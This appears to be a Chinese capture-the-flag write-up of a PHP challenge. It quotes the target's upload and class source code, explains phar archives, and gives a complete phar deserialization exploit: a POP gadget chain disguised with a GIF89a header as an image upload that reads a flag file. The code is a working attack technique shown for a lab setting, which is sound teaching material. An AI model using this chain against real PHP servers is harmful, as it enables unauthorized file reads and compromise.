利用查看文件页面进行文件读取,找到关键源码:
function.php
php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
文件后缀白名单过滤,文件上传地址"upload/" .md5(_FILES\["file"\]\["name"\]._SERVER["REMOTE_ADDR"]).".jpg"
class.php
php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
源码中提示了使用phar协议。
phar 文件的概念及结构
概念:phar(PHP Archive)是 PHP 里类似于 Java 中 jar 的一种打包文件,它可以把多个 PHP 文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。
结构:phar 文件由四部分组成。一是 stub,即文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。二是 manifest,用于存储压缩文件属性等信息,以序列化形式存储,这也是反序列化攻击的关键部分。三是 contents,即被压缩文件的内容。四是 signature,为签名,放在文件末尾,用于验证 Phar 文件的完整性,是可选部分。
phar 伪协议的用途访问归档文件中的文件:通过指定 phar 文件的路径来访问其中包含的文件,例如,phar://path/to/archive.phar/file.txt可以访问归档文件archive.phar中的file.txt。
读取归档文件中的内容:可以像读取普通文件一样使用file_get_contents()或fopen()等函数来读取 phar 归档文件中的内容。
执行归档文件中的代码:使用include或require等 PHP 包含文件的函数来执行 phar 归档文件中的 PHP 代码,这也是利用 phar:// 协议进行文件上传漏洞攻击的关键。
phar 伪协议的安全风险当服务器端应用程序接受用户上传的文件并未进行充分验证时,攻击者可能会利用 phar 伪协议进行攻击。攻击者可以构造恶意的 phar 文件,在其中包含 PHP 代码,然后将文件名伪装成其他类型的文件扩展名,例如image.png*(依赖文件内容中的特定标识而不是后缀名来识别phar文件)*。一旦服务器端应用程序接受并存储了这个文件,攻击者可以通过请求绕过文件类型验证,然后再通过 phar:// 协议来访问该文件,导致 PHP 解析并执行该文件中嵌入的恶意代码,从而使攻击者能够在服务器上执行任意的操作或获取敏感信息。
这里虽然没有include或者require执行代码,但是存在魔术方法,在解析phar数据并进行反序列化时会自动执行。
因此我们只需要构造出反序列化语句,再打包放入phar文件的manifest中,修改后缀名绕过过滤。
利用C1e4r的__destruct()中echo this-\>test 唤醒 Show的__tostring()中的this->str['str']->source 唤醒Test中的__get()读取flag.php。
php
$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';
echo serialize($a);
然后是将其放入phar文件中
php
// 创建一个名为 phar.phar 的 Phar 归档文件对象
$phar = new Phar("phar.phar");
// 开始缓冲操作(所有修改先暂存,不立即写入文件)
$phar->startBuffering();
// 设置 Phar 文件的"伪装头"和执行标记
// "GIF89a"是 GIF 图片的文件头,用于让文件被识别为图片(绕过文件类型检测)
// "<?php __HALT_COMPILER(); ?>"是 Phar 必须的执行标记,告诉 PHP 这是可解析的 Phar 包
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
// 向 Phar 包添加"隐藏的元数据"(核心数据)
// $a 是一个变量,其内容会被序列化后存储(读取时会自动反序列化)
// 元数据不显示为文件,需通过专门方法读取,常用于存储描述信息或(在特殊场景中)恶意代码
$phar->setMetadata($a);
// 向 Phar 包添加一个"实体文件"(结构必需)
// 文件名是 exp.txt,内容是 test(仅作为占位符,让 Phar 格式有效)
// 这个文件是 Phar 包的"可见内容",类似 ZIP 里的文件,用于维持归档的基本结构
$phar->addFromString("exp.txt", "test");
// 结束缓冲,将所有修改(元数据、实体文件、伪装头)写入到 phar.phar 文件中
$phar->stopBuffering();
payload:
php
<?php
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
?>
再修改后缀名并上传.
用源码中的方式生成文件位置应该是upload/md5('phar.jpg222.90.67.205')
.jpg
upload/296091de1a585b89c3c237bad67ee2fc.jpg
但是实际位置并不是这个。访问/upload可以看到文件位置:

利用phar:// 访问该文件即可得到flag。
总结
利用文件读取获得源码,关键在于用phar反序列化结合文件上传读取flag。